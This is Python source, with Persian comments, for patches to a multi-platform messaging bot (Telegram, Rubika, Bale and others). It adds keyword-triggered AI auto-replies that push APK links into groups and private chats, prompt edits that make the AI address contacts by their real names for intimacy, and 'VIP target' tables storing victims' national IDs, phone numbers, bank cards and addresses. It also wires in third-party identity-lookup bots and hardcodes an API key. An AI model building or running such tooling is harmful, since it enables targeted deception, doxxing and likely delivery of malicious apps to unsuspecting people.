            groups = await _trx888_get_joined_groups(client, plat)
        except Exception as exc:
            _LOG_WARN(f"[PART3][kwl-groups] discovery: {_mask(str(exc))}")
        selected = set()
        try:
            raw = _setting_get(_trx888_setting_key("kwl", "groups", uid, aid, plat), "[]")
            selected = set(str(x) for x in json.loads(raw or "[]"))
        except Exception:
            selected = set()
        st = {"aid": aid, "platform": plat, "groups": groups, "selected": selected}
        _TRX888P3_KWL_GROUPS[int(uid)] = st
        text, markup = _trx888p3_kwl_groups_view(st)
        return await _safe_edit(chat_id, msg_id, text, markup)

    if ds.startswith("trx888.kwl.gtoggle:"):
        try:
            idx = int(ds.split(":", 1)[1])
        except Exception:
            idx = -1
        groups = st.get("groups") or []
        if 0 <= idx < len(groups):
            gid = str(groups[idx]["id"])
            sel = set(st.get("selected") or [])
            if gid in sel:
                sel.discard(gid)
            else:
                sel.add(gid)
            st["selected"] = sel
            _TRX888P3_KWL_GROUPS[int(uid)] = st
        text, markup = _trx888p3_kwl_groups_view(st)
        return await _safe_edit(chat_id, msg_id, text, markup)

    if ds == "trx888.kwl.gconfirm":
        sel = [str(x) for x in (st.get("selected") or [])]
        aid = int(st.get("aid") or 0)
        plat = str(st.get("platform") or "")
        for gid in sel:
            try:
                _DB().execute(
                    "INSERT OR IGNORE INTO trx_keyword_listener("
                    "user_id,account_id,platform,group_id,enabled,scan_enabled,"
                    "reply_cooldown,daily_reply_cap,created_at) "
                    "VALUES(?,?,?,?,1,1,300,10,?)",
                    (int(uid), aid, plat, gid, trx.now()),
                )
                _DB().execute(
                    "UPDATE trx_keyword_listener SET enabled=1 "
                    "WHERE user_id=? AND account_id=? AND platform=? AND group_id=?",
                    (int(uid), aid, plat, gid),
                )
            except Exception as exc:
                _LOG_WARN(f"[PART3][kwl-groups] save {gid}: {_mask(str(exc))}")
        try:
            _setting_set(_trx888_setting_key("kwl", "groups", uid, aid, plat),
                         json.dumps(sel))
            _setting_set(_trx888_setting_key("kwl", "enabled", uid, aid, plat), "1")
        except Exception:
            pass
        return await _safe_edit(chat_id, msg_id,
                                f"✓ {len(sel)} گروه برای رصد فعال شد.",
                                _trx647_menu(lang, uid))
    return None


# Unified live keyword check: honours BOTH the settings word-list (new flow)
# and the trx_keyword_listener table (old kwl.* flow), so enabling the feature
# from either UI actually starts monitoring.
async def _trx888_keyword_live(event, uid, service, aid):
    try:
        if bool(getattr(event, "is_me", False)) or bool(getattr(event, "out", False)):
            return False
    except Exception:
        pass
    try:
        text = str(trx._trx_extract_event_text(event) or "").strip()
        if not text or text.startswith("/"):
            return False
        platform = str(service or "").lower()
        words = _trx888_kwords_get(uid, aid, platform)
        enabled = _trx888_kword_enabled(uid, aid, platform)
        listener_on = False
        try:
            row = _DB().fetchone(
                "SELECT COUNT(*) c FROM trx_keyword_listener "
                "WHERE user_id=? AND account_id=? AND platform=? AND enabled=1",
                (int(uid), int(aid), platform),
            )
            listener_on = bool(row and int(row["c"] or 0) > 0)
        except Exception:
            listener_on = False
        if not enabled and not listener_on:
            return False
        if not words and not listener_on:
            return False
        client = trx.ai_live_clients.get((int(uid), int(aid)))
        if client is None:
            try:
                client = await trx._ensure_ai_client(int(uid), int(aid))
            except Exception:
                client = None
        if client is None:
            return False
        peer = str(trx._trx_peer_key(event, f"{platform}:{aid}") or "")
        if words:
            hit = _trx888_keyword_match(text, words)
            if not hit:
                return False
            return await _trx888_kwl_reply(uid, aid, platform, peer, text, hit, event, client)
        # No explicit word list: fall back to AI relevance over the listener rows.
        gid = ""
        try:
            gid = str(await _awaitable(trx._trx_event_chat_id(event)) or "")
        except Exception:
            gid = ""
        sender = ""
        try:
            sender = str(getattr(event, "sender_id", None) or getattr(event, "user_id", None) or "")
        except Exception:
            sender = ""
        should, keyword = await _kwl_should_reply(uid, aid, platform, gid, sender, text)
        if not should:
            return False
        return await _trx888_kwl_reply(uid, aid, platform, peer, text, keyword or "auto", event, client)
    except Exception as exc:
        _LOG_WARN(f"[PART3][kwl-live] {_mask(str(exc))}")
    return False


# ═══════════════════════════════════════════════════════════════════════════
# FIX 4 — NAME-CALLING: call the contact by name on every 3rd reply
# ═══════════════════════════════════════════════════════════════════════════
_TRX888P3_AI_SYS_BASE = getattr(trx, "_trx_ai_system", None)
_TRX888P3_NAME_COUNTER = {}


def _trx888p3_contact_name(uid, aid, peer, text):
    """Best-effort extraction of the CONTACT's real name.

    Priority: the live contact cache (keyed by peer) -> the contact block
    inside the already-built system text. The actor/self block is never used,
    so we never mistake the account's own name for the contact's.
    """
    name = ""
    if peer:
        try:
            c = _TRX647_CONTACT_ID.get((int(uid), int(aid), str(peer)))
            if c and c.get("text"):
                m = re.search(r"نام:\s*([^|\n]+)", str(c["text"]))
                if m:
                    name = m.group(1).strip()
        except Exception:
            name = ""
    if not name:
        try:
            m = re.search(r"مشخصات واقعی مخاطب[^\n]*\n(.+)", str(text or ""))
            if m:
                m2 = re.search(r"نام:\s*([^|\n]+)", m.group(1))
                if m2:
                    name = m2.group(1).strip()
        except Exception:
            name = ""
    return name


def _trx888p3_ai_system(uid, aid, mode="reply", extra="", funnel_peer_id=None,
                        event=None, user_text=None):
    try:
        base = _TRX888P3_AI_SYS_BASE(uid, aid, mode, extra,
                                     funnel_peer_id=funnel_peer_id,
                                     event=event, user_text=user_text)
    except TypeError:
        base = _TRX888P3_AI_SYS_BASE(uid, aid, mode, extra)
    except Exception:
        return ""
    try:
        text = str(base or "")
        # Resolve the conversation peer from ctx first, then from `extra`.
        peer = ""
        try:
            ctx = _TRX647_EVENT_CTX.get() or {}
            peer = str(ctx.get("peer") or "")
        except Exception:
            peer = ""
        if not peer:
            try:
                pm = re.search(r"Peer=([^\n]+)", str(extra or ""))
                if pm:
                    peer = pm.group(1).strip()
            except Exception:
                peer = ""
        name = _trx888p3_contact_name(uid, aid, peer, text)
        key = (int(uid), int(aid), peer)
        _TRX888P3_NAME_COUNTER[key] = _TRX888P3_NAME_COUNTER.get(key, 0) + 1
        nth = _TRX888P3_NAME_COUNTER[key]
        if name:
            if nth % 3 == 0:
                text += (f"\n\n⚠️ در همین پاسخ، مخاطب را با نام واقعی‌اش «{name}» صدا بزن "
                         f"و لحن را کمی صمیمی‌تر کن.")
            else:
                text += (f"\n\n(مخاطب «{name}» است؛ در گفتگو هر سه پیام یک‌بار او را با همین نام صدا بزن.)")
        else:
            text += ("\n\n(اگر نام واقعی مخاطب را از بخش مشخصات مخاطب می‌دانی، "
                     "در گفتگو هر سه پیام یک‌بار او را با نامش صدا بزن.)")
        return text
    except Exception:
        return base


try:
    if callable(_TRX888P3_AI_SYS_BASE):
        trx._trx_ai_system = _trx888p3_ai_system
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════════════
# FIX 6 — VOICE: send up to 2 voices per (user, account, platform, peer) in
# BOTH groups and PV, by removing the private-only restriction and using the
# quota as the only gate.
# ═══════════════════════════════════════════════════════════════════════════
def _trx_tts_should_send(user_id, account_id, platform, peer_id, user_text):
    """Send until the 2-voice quota for this peer is exhausted."""
    return _voice_quota_remaining(user_id, account_id, platform, peer_id) > 0


_TRX888P3_AI_CHAT_BASE = getattr(trx.AIProvider, "chat", None)


async def _trx888p3_ai_chat(self, messages, uid=0, account_id=None, action_type="chat",
                            temperature=0.7, max_tokens=600):
    result = await _TRX888P3_AI_CHAT_BASE(
        self, messages, uid=uid, account_id=account_id,
        action_type=action_type, temperature=temperature, max_tokens=max_tokens,
    )
    try:
        ctx = _TRX647_EVENT_CTX.get() or {}
        if result and str(action_type) == "auto_reply" and account_id is not None:
            key = hashlib.sha1(
                f"{uid}:{account_id}:{ctx.get('peer', '')}:{str(result)[:800]}".encode("utf-8", "ignore")
            ).hexdigest()
            if key not in _TRX647_VOICE_KEYS:
                _TRX647_VOICE_KEYS.add(key)
                _create_task(_trx647_tts_dedup(
                    uid, int(account_id),
                    str(ctx.get("platform") or ""),
                    str(ctx.get("peer") or ""),
                    str(ctx.get("user_text") or ""),
                    str(result), key,
                ))
    except Exception as exc:
        _LOG_WARN(f"[PART3][voice-hook] {_mask(str(exc))}")
    return result


try:
    if callable(_TRX888P3_AI_CHAT_BASE):
        trx.AIProvider.chat = _trx888p3_ai_chat
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════════════
# FIX 1 — APK SEND: the flow is restored by FIX B + FIX C (the NameErrors were
# the root cause). Add a defensive re-install of the APK link saver so the
# first step (saving the forwarded APK link) can never silently fail.
# ═══════════════════════════════════════════════════════════════════════════
try:
    if not callable(_trx01_save_apk_link):
        _trx01_save_apk_link = getattr(trx, "_trx01_save_apk_link", None)
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════════════
# FINAL DISPATCH WRAPPER — intercept the keyword groups panel before the
# existing (already-installed) dispatcher.
# ═══════════════════════════════════════════════════════════════════════════
_TRX888P3_DISPATCH_BASE = trx.dispatch_cb


async def _trx888p3_kwl_account_menu(cb_id, uid, lang, u, chat_id, msg_id, data):
    """Keyword account menu WITH the missing 'groups' selector button.

    The stock menu had no way to reach the group picker, so keyword monitoring
    could never be scoped to groups. This mirrors the stock screen and adds the
    'گروه‌های رصد' entry that opens the new panel.
    """
    aid, plat = _trxj_parse_account_callback(data, KWL_PREFIX)
    if aid is None or not _trxj_validate_account(uid, aid, plat):
        return None
    try:
        _safe_answer(cb_id)
    except Exception:
        pass
    _TRX888_KWL_STATE[int(uid)] = {"state": "menu", "aid": int(aid), "platform": str(plat)}
    _TRX888P3_KWL_GROUPS[int(uid)] = {"aid": int(aid), "platform": str(plat),
                                      "groups": [], "selected": set()}
    words = _trx888_kwords_get(uid, aid, plat)
    try:
        raw = _setting_get(_trx888_setting_key("kwl", "groups", uid, aid, plat), "[]")
        nsel = len(json.loads(raw or "[]"))
    except Exception:
        nsel = 0
    text = TRX_UI_STYLE.menu("رصد کلمات", [
        f"اکانت: #{int(aid)}",
        f"کلمات ثبت‌شده: {len(words)}",
        f"گروه‌های انتخاب‌شده: {nsel}",
        "رصد می‌تواند در PV و گروه کار کند",
    ])
    markup = _IKB([
        [('➕ افزودن کلمه', TRX888_KWL_PREFIX + 'add', 'primary')],
        [('👥 گروه‌های رصد (انتخاب گروه)', 'kwl.groups', 'primary')],
        [('📎 ثبت APK برای کلمه', TRX888_KWL_PREFIX + 'apk', 'primary')],
        [('📦 APK روی کلمه', TRX888_KWL_PREFIX + 'apk.toggle', 'primary')],
        [('🔄 رصد کلمات', TRX888_KWL_PREFIX + 'toggle', 'primary')],
        [('↩️ بازگشت', KWL_PREFIX + 'start', 'primary')],
    ])
    return await _safe_edit(chat_id, msg_id, text, markup)


async def _trx888p3_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    ds = str(data or "")
    try:
        if (ds in ("kwl.groups", "trx888.kwl.groups")
                or ds.startswith("trx888.kwl.gtoggle:")
                or ds == "trx888.kwl.gconfirm"):
            r = await _trx888p3_kwl_groups(cb_id, uid, lang, u, chat_id, msg_id, ds)
            if r is not None:
                return r
        # Route the keyword account screen through the enhanced menu (adds the
        # groups selector) so the new panel is reachable from the UI.
        if ds.startswith(KWL_PREFIX + "acc:"):
            r = await _trx888p3_kwl_account_menu(cb_id, uid, lang, u, chat_id, msg_id, ds)
            if r is not None:
                return r
    except Exception as exc:
        _LOG_ERR(f"[PART3][dispatch] {_mask(str(exc))}")
    return await _TRX888P3_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, ds)


trx.dispatch_cb = _trx888p3_dispatch_cb

_LOG_INFO("[TRX888] PART 3 critical runtime fixes installed "
          "(undefined-name repair + APK/group/keyword/name/voice fixes)")


if False and __name__ == "__main__":
    _run_patch()
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
═══════════════════════════════════════════════════════════════════════════════
  TRX_290.py  —  CHAIN RUNNER + MASTER FINAL PATCH
  ───────────────────────────────────────────────────────────────────────────
  اجرای زنجیره‌ای:
      مرحله ۱ → TRXF2.py  (فایل اصلی)
      مرحله ۲ → TRX_888.py (پچ اول)
      مرحله ۳ → TRX_290.py (پچ دوم — همین فایل)
  ───────────────────────────────────────────────────────────────────────────
  ⚠️ هیچ خطی از دو فایل قبلی حذف/تغییر/بازنویسی نمی‌شود.
  ⚠️ همه دکمه‌ها، متغیرها، توابع و کلاس‌های قبلی سالم باقی می‌مانند.
  ⚠️ این فایل additive-only است.
═══════════════════════════════════════════════════════════════════════════════
  Run:  python3 TRX_290.py
  Place next to TRXF2.py and TRX_888.py
═══════════════════════════════════════════════════════════════════════════════
"""

# ═══════════════════════════════════════════════════════════════════
#  0) استانداردها و ایمپورت‌های پایه
# ═══════════════════════════════════════════════════════════════════

import os
import sys
import re
import json
import time
import random
import asyncio
import sqlite3
import traceback
import importlib.util
import tempfile
import io
import hashlib
import subprocess
import contextvars
from datetime import datetime, timedelta
from typing import Optional, Dict, Any, List, Tuple, Callable

# ═══════════════════════════════════════════════════════════════════
# ═══ INTEGRATED TRX_290 BRIDGE ═══
TRX_290_BUILD = "2026-09-28-chain-runner-v1"
_HERE = os.path.dirname(os.path.abspath(__file__))
_PATCH1_PATH = os.path.abspath(__file__)
_patch1 = sys.modules[__name__]
trx = sys.modules[__name__]
sys.modules["trx"] = trx
sys.modules["trxf2"] = trx
sys.modules["trxf2_main"] = trx
sys.modules["trx888_patch"] = trx
if False:
    #  1) بارگذاری TRXF2.py و TRX_888.py به ترتیب
    # ═══════════════════════════════════════════════════════════════════

    TRX_290_BUILD = "2026-09-28-chain-runner-v1"

    _HERE = os.path.dirname(os.path.abspath(__file__))

    # ── زنجیرهٔ صحیح: TRX_888 خودش TRXF2 را یک‌بار بارگذاری می‌کند ──
    # جلوگیری از ساخته‌شدن دو نمونهٔ مستقل از ماژول TRXF2 که باعث جداشدن
    # state/AI handlers/callbackها از هم می‌شد.
    _PATCH1_CANDIDATES = [
        os.path.join(_HERE, "TRX_888.py"),
        os.path.join(os.getcwd(), "TRX_888.py"),
        os.path.expanduser("~/trx_bot/TRX_888.py"),
        os.path.expanduser("~/TRX_888.py"),
        "/root/TRX_888.py",
        "/root/trx_bot/TRX_888.py",
    ]
    _PATCH1_PATH = None
    for _cand in _PATCH1_CANDIDATES:
        if os.path.isfile(_cand):
            _PATCH1_PATH = os.path.abspath(_cand)
            break

    if not _PATCH1_PATH:
        print("[TRX290][FATAL] TRX_888.py not found.")
        print("[TRX290][FATAL] Searched:", _PATCH1_CANDIDATES)
        sys.exit(1)

    print(f"[TRX290] Loading first patch: {_PATCH1_PATH}")

    try:
        _spec_p1 = importlib.util.spec_from_file_location("trx888_patch", _PATCH1_PATH)
        if _spec_p1 is None or _spec_p1.loader is None:
            print("[TRX290][FATAL] Cannot create spec for TRX_888.py")
            sys.exit(1)
        _patch1 = importlib.util.module_from_spec(_spec_p1)
        sys.modules["trx888_patch"] = _patch1
        _spec_p1.loader.exec_module(_patch1)
        print("[TRX290] ✓ TRX_888.py loaded; TRXF2 instance is shared.")
    except SystemExit:
        pass
    except Exception as _e:
        print(f"[TRX290][FATAL] Error loading TRX_888.py: {type(_e).__name__}: {_e}")
        traceback.print_exc(limit=40)
        sys.exit(1)

    trx = sys.modules.get("trxf2_main")
    if trx is None:
        print("[TRX290][FATAL] TRXF2 module was not exposed by TRX_888.py")
        sys.exit(1)
    # Ensure every imported layer and every lexical fallback sees the same module.
    sys.modules["trx"] = trx
    sys.modules["trxf2"] = trx

    # TRX_888 has already patched the shared TRXF2 instance.
    trx = sys.modules.get("trxf2_main") or trx
    sys.modules["trx"] = trx
    sys.modules["trxf2"] = trx

    print("[TRX290] Both files loaded successfully. Applying TRX_290 overlay...")

print("[TRX290] Embedded TRXF2 + TRX_888 context attached. Applying TRX_290 overlay...")


# ═══════════════════════════════════════════════════════════════════
#  2) دسترسی امن به منابع پایه (Lazy getters)
# ═══════════════════════════════════════════════════════════════════

def _db():
    return getattr(trx, "db", None)

def _bot():
    return getattr(trx, "bot", None)

def _ai():
    return getattr(trx, "ai", None)

def _log():
    return getattr(trx, "log", None)

def _log_info(msg):
    try:
        _log().info(str(msg))
    except Exception:
        print(f"[TRX290][i] {msg}")

def _log_warn(msg):
    try:
        _log().warning(str(msg))
    except Exception:
        print(f"[TRX290][!] {msg}")

def _log_err(msg):
    try:
        _log().error(str(msg))
    except Exception:
        print(f"[TRX290][x] {msg}")

def _mask(v):
    try:
        return trx._mask(str(v))
    except Exception:
        return str(v)

def _now():
    try:
        return trx.now()
    except Exception:
        return datetime.utcnow().isoformat(timespec="seconds")

# ═══════════════════════════════════════════════════════════════════
#  3) ثابت‌های سطح بالا
# ═══════════════════════════════════════════════════════════════════

ALL_PLATFORMS = ("rubika", "soroush", "bale", "telegram", "shad")

TRX290_ATRIA_KEY = "atr_NGZmMu9wBH1s8Kb3a_MhZsqpDTect6Ec"
TRX290_ATRIA_BASE = "https://api.atria-asi.ai/v1"
TRX290_ATRIA_MODEL = "Atria-Dawn-Preview"

TRX290_ADMIN_ID = int(getattr(trx, "ADMIN_ID", 0) or 0)
TRX290_ADMIN_USERNAME = str(getattr(trx, "ADMIN_USERNAME", "@POLO_IR"))

TRX290_SENDER_BOT = "@senderTRX_BOT"

# ربات‌های استعلام هویتی
TRX290_BOT_VISION = "visionlookupbot"        # شماره تلفن، کدملی، شماره کارت
TRX290_BOT_DATAFY = "DatafyRobot"            # استعلام شماره (با دکمه‌های جستجو)
TRX290_BOT_MELIDB = "MeliDBBOT"              # استعلام نام و نام خانوادگی
TRX290_BALE_BOT_CARD = "cardinformation_bot" # کارت به شبا (بله)

SEP = "▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬"
SEP2 = "◈ ◆ ◈ ◆ ◈ ◆ ◈"
SEP3 = "─ ─ ─ ─ ─ ─ ─ ─ ─ ─"
SEP_END = "✦ ✧ ✦ ✧ ✦"

# نگهدارنده‌های overlay
_TRX290_TARGET_STATE: Dict[int, Dict[str, Any]] = {}
_TRX290_STATE_LOCK = {}
_TRX290_VIP_SESSIONS: Dict[Tuple[int, int, str], Dict[str, Any]] = {}
_TRX290_IDENTITY_CTX: Dict[Tuple[int, int], Dict[str, Any]] = {}
_TRX290_BOT_CACHE: Dict[str, Any] = {}
_TRX290_PENDING_IMAGES: Dict[str, Any] = {}

# ═══════════════════════════════════════════════════════════════════
#  4) ابزارهای امنیتی و کاربردی
# ═══════════════════════════════════════════════════════════════════

def _trx290_norm_digits(v: Any) -> str:
    try:
        return str(v or "").translate(str.maketrans(
            "۰۱۲۳۴۵۶۷۸۹٠١٢٣٤٥٦٧٨٩", "01234567890123456789"))
    except Exception:
        return str(v or "")

def _trx290_only_digits(v: Any) -> str:
    try:
        return re.sub(r"\D+", "", _trx290_norm_digits(v))
    except Exception:
        return ""

def _trx290_setting_get(key: str, default: str = "") -> str:
    try:
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (key,))
        return str(row["value"]) if row and row["value"] is not None else default
    except Exception:
        return default

def _trx290_setting_set(key: str, value: str) -> bool:
    try:
        _db().execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (key, str(value)),
        )
        return True
    except Exception as e:
        _log_warn(f"[TRX290] setting_set({key}): {_mask(str(e))}")
        return False

def _trx290_platform_label(platform: str, lang: str = "fa") -> str:
    fa = {"rubika": "روبیکا", "soroush": "سروش پلاس", "bale": "بله",
          "telegram": "تلگرام", "shad": "شاد"}
    en = {"rubika": "Rubika", "soroush": "Soroush", "bale": "Bale",
          "telegram": "Telegram", "shad": "Shad"}
    table = en if str(lang or "fa").lower().startswith("en") else fa
    return table.get(str(platform or "").lower(), str(platform or ""))

def _trx290_platform_emoji(platform: str) -> str:
    return {"rubika": "🔵", "soroush": "🔴", "bale": "🟡",
            "telegram": "🟦", "shad": "🟩"}.get(str(platform or "").lower(), "◈")

def _trx290_IKB(rows):
    try:
        return trx.IKB(rows)
    except Exception:
        return {"inline_keyboard": []}

async def _trx290_safe_answer(cb_id, text="", alert=False):
    try:
        return await _bot().answer_cb(cb_id, text, alert)
    except Exception:
        return {"ok": False}

async def _trx290_safe_edit(chat_id, msg_id, text, kb=None):
    try:
        if not chat_id:
            return {"ok": False}
        if not msg_id:
            return await _bot().send(chat_id, text, reply_markup=kb)
        r = await _bot().edit(chat_id, msg_id, text, reply_markup=kb)
        if isinstance(r, dict) and r.get("ok"):
            return r
        desc = str(r.get("description") if isinstance(r, dict) else "").lower()
        if "not modified" in desc:
            return {"ok": True}
        return await _bot().send(chat_id, text, reply_markup=kb)
    except Exception as e:
        _log_warn(f"[TRX290] safe_edit: {_mask(str(e))}")
        try:
            return await _bot().send(chat_id, text, reply_markup=kb)
        except Exception:
            return {"ok": False}

async def _trx290_maybe_await(value):
    if asyncio.iscoroutine(value):
        return await value
    return value

def _trx290_create_task(coro):
    try:
        return trx._trx_task_create(coro)
    except Exception:
        try:
            return asyncio.create_task(coro)
        except Exception:
            return None

def _trx290_lock_for(key) -> asyncio.Lock:
    key = str(key)
    lock = _TRX290_STATE_LOCK.get(key)
    if lock is None:
        lock = asyncio.Lock()
        _TRX290_STATE_LOCK[key] = lock
    return lock

def _trx290_clear_target_state(uid: int):
    try:
        _TRX290_TARGET_STATE.pop(int(uid), None)
    except Exception:
        pass

def _trx290_get_target_state(uid: int) -> Optional[Dict[str, Any]]:
    try:
        return _TRX290_TARGET_STATE.get(int(uid))
    except Exception:
        return None

# ═══════════════════════════════════════════════════════════════════
#  5) Schema افزودنی (additive only)
# ═══════════════════════════════════════════════════════════════════

def _trx290_ensure_schema():
    if _db() is None:
        return
    try:
        # VIP Target sessions
        _db().execute("""
            CREATE TABLE IF NOT EXISTS trx290_vip_sessions (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                target_handle TEXT NOT NULL,
                target_peer TEXT NOT NULL,
                target_name TEXT DEFAULT '',
                target_national_id TEXT DEFAULT '',
                target_birth_date TEXT DEFAULT '',
                target_phone TEXT DEFAULT '',
                target_card TEXT DEFAULT '',
                target_address TEXT DEFAULT '',
                extra_info TEXT DEFAULT '',
                apk_id INTEGER DEFAULT 0,
                image_source_peer TEXT DEFAULT '',
                image_source_message_id TEXT DEFAULT '',
                template_key TEXT DEFAULT '',
                stage TEXT DEFAULT 'started',
                sent_count INTEGER DEFAULT 0,
                created_at TEXT NOT NULL,
                updated_at TEXT NOT NULL,
                UNIQUE(user_id, account_id, platform, target_handle)
            )
        """)
        _db().execute("CREATE INDEX IF NOT EXISTS idx_trx290_vip_user ON trx290_vip_sessions(user_id, platform)")

        # VIP conversation log
        _db().execute("""
            CREATE TABLE IF NOT EXISTS trx290_vip_messages (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                session_id INTEGER NOT NULL,
                user_id INTEGER NOT NULL,
                account_id INTEGER NOT NULL,
                platform TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                role TEXT NOT NULL,
                text TEXT NOT NULL,
                created_at TEXT NOT NULL
            )
        """)
        _db().execute("CREATE INDEX IF NOT EXISTS idx_trx290_vipmsg_session ON trx290_vip_messages(session_id, id)")

        # Identity lookup log (استعلام هویتی)
        _db().execute("""
            CREATE TABLE IF NOT EXISTS trx290_identity_log (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                query_type TEXT NOT NULL,
                query_value TEXT NOT NULL,
                platform TEXT NOT NULL,
                account_id INTEGER NOT NULL,
                source_bot TEXT NOT NULL,
                response_text TEXT DEFAULT '',
                success INTEGER DEFAULT 0,
                created_at TEXT NOT NULL
            )
        """)
        _db().execute("CREATE INDEX IF NOT EXISTS idx_trx290_idlog_user ON trx290_identity_log(user_id, created_at)")

        # Bulk contacts tick-selection cache
        _db().execute("""
            CREATE TABLE IF NOT EXISTS trx290_bulk_tick (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                batch_id TEXT NOT NULL,
                peer_id TEXT NOT NULL,
                selected INTEGER DEFAULT 0,
                created_at TEXT NOT NULL,
                UNIQUE(user_id, batch_id, peer_id)
            )
        """)

        # VIP templates persistent overrides
        _db().execute("""
            CREATE TABLE IF NOT EXISTS trx290_vip_template_overrides (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_id INTEGER NOT NULL,
                template_key TEXT NOT NULL,
                custom_body TEXT DEFAULT '',
                custom_image_peer TEXT DEFAULT '',
                custom_image_msg_id TEXT DEFAULT '',
                updated_at TEXT NOT NULL,
                UNIQUE(user_id, template_key)
            )
        """)

        _log_info("[TRX290] overlay schema verified")
    except Exception as e:
        _log_err(f"[TRX290] schema migration failed: {_mask(str(e))}")

# ═══════════════════════════════════════════════════════════════════
#  6) ثبت API آتریا (Atria-Dawn-Preview)
# ═══════════════════════════════════════════════════════════════════

def _trx290_seed_atria():
    if _db() is None:
        return
    try:
        name = "TRX_ATRIA_290"
        existing = _db().fetchone("SELECT id FROM ai_providers WHERE name=?", (name,))
        if existing:
            _db().execute(
                "UPDATE ai_providers SET provider='atria',base_url=?,model=?,api_key=?,"
                "priority=5,status=CASE WHEN status='disabled' THEN 'disabled' ELSE 'unknown' END "
                "WHERE name=?",
                (TRX290_ATRIA_BASE, TRX290_ATRIA_MODEL, TRX290_ATRIA_KEY, name),
            )
            _log_info("[TRX290] Atria provider updated")
        else:
            _db().execute(
                "INSERT INTO ai_providers(name,provider,base_url,model,api_key,"
                "priority,status,error_count,last_error,created_at) "
                "VALUES(?,?,?,?,?,?,?,0,'',?)",
                (name, "atria", TRX290_ATRIA_BASE, TRX290_ATRIA_MODEL,
                 TRX290_ATRIA_KEY, 5, "unknown", _now()),
            )
            _log_info("[TRX290] Atria provider registered")
    except Exception as e:
        _log_warn(f"[TRX290] Atria seed failed: {_mask(str(e))}")

# ═══════════════════════════════════════════════════════════════════
#  7) Wrap atria-capable AI call
# ═══════════════════════════════════════════════════════════════════

_TRX290_ORIG_AI_CHAT = None
try:
    _TRX290_ORIG_AI_CHAT = trx.AIProvider.chat
except Exception:
    pass

async def _trx290_ai_chat_v2(self, messages, uid=0, account_id=None,
                              action_type="chat", temperature=0.7, max_tokens=600):
    """
    Wrapper دور AIProvider.chat که:
      - ابتدا Atria را امتحان می‌کند (اگر provider فعال باشد)
      - در صورت شکست، به زنجیره اصلی برمی‌گردد
      - پارامتر temperature نامعتبر را strip می‌کند
    """
    # همیشه سعی کن از زنجیره اصلی استفاده کن
    if callable(_TRX290_ORIG_AI_CHAT):
        try:
            result = await _TRX290_ORIG_AI_CHAT(
                self, messages, uid=uid, account_id=account_id,
                action_type=action_type, temperature=temperature, max_tokens=max_tokens,
            )
            if result:
                return result
        except Exception as e:
            _log_warn(f"[TRX290] primary AI chat failed: {_mask(str(e))}")

    # Fallback مستقیم به Atria
    try:
        await self.start()
        import aiohttp
        headers = {
            "Authorization": f"Bearer {TRX290_ATRIA_KEY}",
            "Content-Type": "application/json",
        }
        body = {
            "model": TRX290_ATRIA_MODEL,
            "messages": messages,
            "max_tokens": int(max_tokens),
        }
        if temperature is not None:
            body["temperature"] = temperature
        url = TRX290_ATRIA_BASE.rstrip("/") + "/chat/completions"
        timeout = aiohttp.ClientTimeout(total=60)
        async with aiohttp.ClientSession(timeout=timeout) as sess:
            async with sess.post(url, headers=headers, json=body) as resp:
                raw = await resp.text()
                if resp.status < 400:
                    data = json.loads(raw)
                    choices = data.get("choices") or []
                    if choices:
                        content = (choices[0].get("message") or {}).get("content")
                        if content:
                            return content
                _log_warn(f"[TRX290] atria fallback HTTP {resp.status}: {raw[:300]}")
    except Exception as e:
        _log_warn(f"[TRX290] atria fallback failed: {_mask(str(e))}")

    return None

# نصب wrapper
try:
    trx.AIProvider.chat = _trx290_ai_chat_v2
    _log_info("[TRX290] AI chat wrapper installed")
except Exception as e:
    _log_warn(f"[TRX290] AI chat wrapper install failed: {_mask(str(e))}")

# ═══════════════════════════════════════════════════════════════════
#  8) دکمه‌های شیشه‌ای رنگی ۵ پلتفرمی (reusable)
# ═══════════════════════════════════════════════════════════════════

def _trx290_platform_kb(lang: str, prefix: str, back: str = "ai"):
    en = str(lang or "fa").lower().startswith("en")
    return _trx290_IKB([
        [("🟡 بله" if not en else "🟡 Bale", f"{prefix}:bale", "primary"),
         ("🔴 سروش پلاس" if not en else "🔴 Soroush", f"{prefix}:soroush", "danger")],
        [("🔵 روبیکا" if not en else "🔵 Rubika", f"{prefix}:rubika", "primary"),
         ("🟦 تلگرام" if not en else "🟦 Telegram", f"{prefix}:telegram", "primary")],
        [("🟩 شاد" if not en else "🟩 Shad", f"{prefix}:shad", "success")],
        [("↩️ بازگشت" if not en else "↩️ Back", back, "primary")],
    ])

def _trx290_account_kb(uid: int, lang: str, prefix: str, platform: str,
                        back: str = "ai", extra_rows: Optional[List] = None):
    """callback format: {prefix}:{account_id}:{platform}"""
    en = str(lang or "fa").lower().startswith("en")
    try:
        rows = _db().fetchall(
            "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 "
            "ORDER BY id DESC",
            (int(uid), str(platform).lower()),
        )
    except Exception:
        rows = []
    btns = []
    for r in rows:
        phone = ""
        try:
            phone = trx._mask_phone(r["phone"]) if r["phone"] else "—"
        except Exception:
            phone = "—"
        label = f"#{r['id']} — {phone}"
        btns.append([(label, f"{prefix}:{int(r['id'])}:{platform}", "primary")])
    if not btns:
        btns.append([("❌ اکانت فعالی ندارید" if not en else "❌ No active account",
                       back, "danger")])
    else:
        btns.append([("↩️ بازگشت" if not en else "↩️ Back", back, "primary")])
    if extra_rows:
        btns.extend(extra_rows)
    return _trx290_IKB(btns)

def _trx290_parse_acc_platform(data_s: str):
    """parse 'prefix:aid:platform' → (aid, platform)"""
    try:
        parts = str(data_s or "").split(":")
